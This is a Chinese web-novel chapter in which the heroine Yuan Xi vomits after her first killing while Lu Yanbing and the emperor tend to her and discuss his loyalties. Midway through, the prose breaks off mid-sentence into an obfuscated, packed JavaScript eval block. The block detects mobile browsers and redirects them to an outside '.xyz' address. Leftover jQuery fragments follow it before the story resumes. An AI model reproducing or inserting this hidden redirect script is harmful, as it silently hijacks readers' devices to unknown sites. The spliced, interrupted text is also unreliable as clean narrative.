22. 第一次杀人后遗症
作品:《拯救炮灰,顺手的事》 元曦推开门,身后跟着葛兰因和太医院判。
她身上的礼服不再端庄,在打斗过程中被刮开了好几道口子,沾满了浮土灰尘。
脊背上偌大的龙纹不再流光溢彩,却挺直而坚定。
她微微垂眼,俯视着阶下众臣。
“陈肃之已经性命无忧,但仍在昏迷中。”元曦沉声说,“着禁军严加看守,决不许除太医外的任何人靠近一步。孟统领,再出任何差错,孤拿你试问。”
禁军统领额上冒汗,抱拳领命:“是!”
禁军封锁了现场,整齐划一的铁靴踏地声随风传来,冷肃的秋杀气息环绕了大盛皇宫。接下来半天,刑部和大理寺领命查案,将附近宫殿都查了个遍。
下毒的人手脚很干净,没有留下任何线索。
至于刺杀的人——那个混在祭祀舞者中的刺客已经死了,黑衣人当中留的活口也已咬毒自尽。
总之,各方面都是一无所获。
元曦回到玉霄殿的时候,天色已沉。
晚霞渐渐褪去色彩,宫阙被暮色吞没。风过长廊,将宫灯撞得晃动,发出轻微声响。
元曦屏退了所有宫人,独自进入玉霄殿。
推开卧房的门,屋内没有点灯。最后一丝微弱的天光照进屋里,勉强照亮她脚下的路。
迈过门槛时,腿上一软,被门槛绊倒,径直摔了下去。
她下意识紧紧闭眼,在以为自己要跟地面来个狼狈的亲密接触时,被一双手接住了。
好熟悉的场景……好像她初来这个世界的时候,也是这么全然无措地摔了下去。
却有一双结实的手臂稳稳接住了她。
熟悉的皂角气息包围了她,元曦反应过来出手的人是陆砚冰。
他肩上还有伤,硬接住自己,怕是要扯动伤口吧……可惜元曦浑身酸疼脱力,一点力气都使不上,只能这么赖在陆砚冰怀里。
正想着,她鼻间突然嗅见一丝血腥气。
元曦脸色陡然一变。
被强行压下去的记忆迅速浮现,血呼刺啦的场面在眼前闪现,手中利器入肉的可怖手感,铁锈味的尚且滚烫的血喷在脸上的感觉……
胃里翻江倒海,涌上喉咙。元曦不知哪来的力气,几乎是从地上弹起来的,一个箭步冲到外面庭院里,“哇”一声吐了出来。
陆砚冰下意识要追过去,却在门槛前生生顿住了脚步。
他皱眉撩开衣领,瞧见自己的伤口有些渗血,意识到元曦是闻到了血味才吐的。
她是……因为杀了人才如此的么?
祭祀上元曦捅的那一刀,动作生疏,位置也谈不上精准,捅完人手抖得刀都拿不住。显然是第一次杀人。
陆砚冰明白了什么,立刻后退几步。
但元曦跪在地上,吐得撕心裂肺,十分难受的模样。他罕见的踯躅起来,将双手指骨捏了个遍。终于绕到长廊另一头,吹了个密哨,声似鸟叫。
文三很快出现,“老大。”
“我们这边有可信的女暗卫么?”陆砚冰问。
文三一愣,瞥见院中场景,大概也明白了。他有些为难,“王府里倒是有十几个女暗卫,但都不是确认可信的。咱们这边有五六个可信的也都是男暗卫。”
陆砚冰捏了捏眉心,“你去陛下寝宫……告诉她的暗卫,速回。”
文三领命转身,转眼间就不见了身影。
元曦吐得生理性眼泪都出来了,突然听见几声猫叫,她用手背擦了擦眼角,勉力瞧过去。
只见那只被陆砚冰养在后院的小狸花,不知从哪叼来一颗没成熟的橘子,放在她脚边,见她看过来,还用肉垫扒拉着往元曦旁边推。
“喵——”小狸花嘹亮地叫了声,似乎有些着急,催促着元曦赶紧拿起来。
元曦失笑,看来是自己狂吐的模样吓到猫了,猫大夫这是给自己开药方呢。
“谢谢你啊,小猫。”她将那还没有她掌心大的小橘子放在鼻子下面,嗅了会儿,果然觉得好多了。
等缓了一些后直起身,这才瞧见陆砚冰远远地坐在小厨房门口,旁边灶上还烧着水。
见她好点了,陆砚冰便拎起灶上温着的水倒了一碗,放在一根长竹竿的另一头,就这么用竹竿将水递了过来。
茶碗伸到她面前,稳得一滴水没撒。
元曦大为震撼。
她有些轻微的散光,光线一暗就看东西没那么清楚了。眯起眼仔细看了看,发现陆砚冰用的是那只没受伤的胳膊,于是放心了些。
“谢谢。”她声音沙哑,也顾不上这个距离陆砚冰能不能听见。
水温正好,元曦漱了漱口,把剩下的全喝了,又将空碗放回了竹竿上。
陆砚冰极稳地将竹竿收了回去。
小狸花绕着她转来转去,像是忠诚的小卫兵,守护着她。元曦不自觉地笑起来,伸手去摸猫头。
然而手指触到温热柔软的躯体,再度勾起利器入肉的记忆。
元曦打了个寒颤,一把捂住嘴,但还是没忍住,胃里已经彻底空了,只能吐出些酸水来……
陆砚冰眸色沉了下去,黑到极致。寂静冷漠的骨血难以忍受地焦灼起来。
尽管陆砚冰现在还不能分辨这焦灼从何而来,但第一次遇见元曦开始,他的身体本能就始终在违背自己的意识——他至今不能分辨,为何那日,他在反应过来之前就抄起茶杯挡了下刀锋。
……大概是因为她从天而降的时候,偏偏就掉在了他怀里吧。
就在陆砚冰认真考虑给自己身上洒满熏香的可行性时,裴婉玄赶到了。
寝宫里有地道直通玉霄殿附近,裴婉玄直接抄了近路。文三告诉陆砚冰,他去的时候陛下刚好回来,说是知道了祭祀上的事,赶回来看看。
裴婉玄身后还跟着一个眉眼凌厉,护卫模样的男人。
陆砚冰知道他的存在,是裴婉玄身边的神秘护卫。他能察觉的到他们的存在,但没见过真人。
“贺秋越。”护卫做了简单的自我介绍,“我知道你,陆砚冰。”
陆砚冰默默回了他的抱拳礼。
看来不必多费口舌解释了。
裴婉玄搀扶起元曦,见她吐得人都快不行了,有些莫名:“怎么搞成这幅样子,就因为杀了个人?”
元曦欲哭无泪,“陛下你快别说了……”
裴婉玄大为震撼,但还是贴心地将人扶进屋里,给她扒了衣服,扔进浴桶。
元曦虽然浑身没力气,但还是大惊失色地拒绝了裴婉玄要找人帮她洗澡的提议,坚持自己泡一会缓缓就好。
裴婉玄只好遗憾地收了手,“你真的不会摔死在浴桶里吧?我有两个贴身女侍卫,她们手脚很麻利,保管将你搓得溜光水滑……”
元曦:“不用我自己可以!”
裴婉玄将她突然出现那天穿的古怪衣服给她找出来放在一旁,乐不可支地退出去了。
阖上门,便见陆砚冰亲手铲了土将呕物盖住,又在院中点了熏香祛味。
贺秋越和文三委屈地蜷缩在两个小马扎上,在给炉子扇风。灶上煎着裴婉玄带来的草药。
贺秋越:“我是皇家的暗卫啊,那元曦来历不明,万一她不想将皇位还回来了怎么办?我担心了好几天都没睡好……”
文三:“兄弟你这就多虑了,我在这好几天了,元姑娘人其实挺好的,善良得很……”
贺秋越叹了口气,还没等说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505297|185761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么,就听那边陆砚冰打断道:“现在你知道了。她只是杀了个人就吐成这样,像是会算计抢皇位的么?”
“……”贺秋越总觉得陆砚冰跟以前不太一样,“你不是摄政王府的暗卫吗,这话怎么听起来这么奇怪?”
裴婉玄却慢慢挑了眉,目光在门扇和陆砚冰身上来回移动,恍然大悟。
“陆统领的身份,本来我们是心照不宣的,也没想主动戳破。”裴婉玄上前几步,负手而立,“但没想到陆统领愿意为了元曦主动在孤面前暴露身份,看来是用情至深啊。不知陆统领有没有意愿弃暗投明?”
陆砚冰平和地笑了下:“并非我不愿选择明主,而是陆某并没有选择的机会。主子控制手下暗卫的手段,贺统领是知道的。”
贺秋越看了他几眼,猜到了什么:“王府用毒控制你?”
陆砚冰笑而不语,算是默认了。
贺秋越走到裴婉玄身边,小声说:“那就麻烦了,这种毒一般是天下奇毒,解药只有主人家才有,隔一段时间不吃就会暴毙而亡……”
裴婉玄仍是笑着,但眼睛已然冷了下来。看来在有解药之前,即便陆砚冰有意,也不会轻易改变他的立场。
可他对元曦的维护倒是个意外之喜。
只要他愿意待在这里配合元曦,即使不投靠他们,也别帮徐临渊破坏他们的计划……对于目前的裴婉玄来说,就是最好的结果了。
于是裴婉玄道:“陆统领私底下做的事,孤或多或少也知道。春闱舞弊案、齐王占地案、并州贪墨案……庄相那里总能收到关键证据,还未谢过陆统领仗义援手。”
陆砚冰面色平静,八风不动地笑了笑:“陛下洪福齐天,老天自会相助罢了,不是陆某的功劳。”
“可是青州被扣下的信却不是自己飞到陈肃之手里的。”裴婉玄玩味道,“孤第一次见做好事还这么不愿意认的,陆统领就这么想当个坏人?”
“陆某平生能自己做的决定不多,但凡有余地的时候,还是想为自己做一些事的。”
陆砚冰接过文三手中的蒲扇,一只手扇着,一只手用厚布捏住锅盖把手,掀起来瞧了瞧,又盖上继续扇风。
“我知道陛下想说什么。元曦这里需要人保护,我会继续留在这里。”他眼皮轻轻掀起,那副和善的郎君模样顿时一扫而空,冰冷审视着裴婉玄。
“但这不是为了元曦或陛下,只是陆某的选择而已。”
裴婉玄毫不示弱地回视过去,下巴微抬,笃定道,“你就是为了元曦。”
陆砚冰收回目光,只看着眼前的炉子:“随你怎么想。”
“陆砚冰,你嘴真硬。”裴婉玄颇为嫌弃,“你这样元曦是不会喜欢你的。”
陆砚冰:“……”
他目光开始游移忽闪,“我并不是那个意思……我只是觉得,过往二十多年好像只是在按照既定的路线活着,并没有什么选择,可是她出现以后,事情好像开始真的能被改变了……”
陆砚冰以为裴婉玄会讥讽他,却没想到她也沉默了。陆砚冰讶异地看过去,发现裴婉玄、贺秋越、文三脸上神情诡异地一致。
裴婉玄道:“其实……孤也有这种感觉。”
贺秋越:“青州的事,陛下也想过改变任命人选,可是就和以前一样,总是会在最后失败。但元姑娘来了以后,竟然真的改变了。”
文三:“我也有这种感觉……以前二十年都活得没什么‘理由’,我以为是因为被毒药控制的缘故呢?”
四个人都沉默了,不约而同的将目光投向卧房合着的门扇。
当元曦出现的时候,他们都觉得或许她就是那个解开这场死局的活口。
没成想,竟是谶言。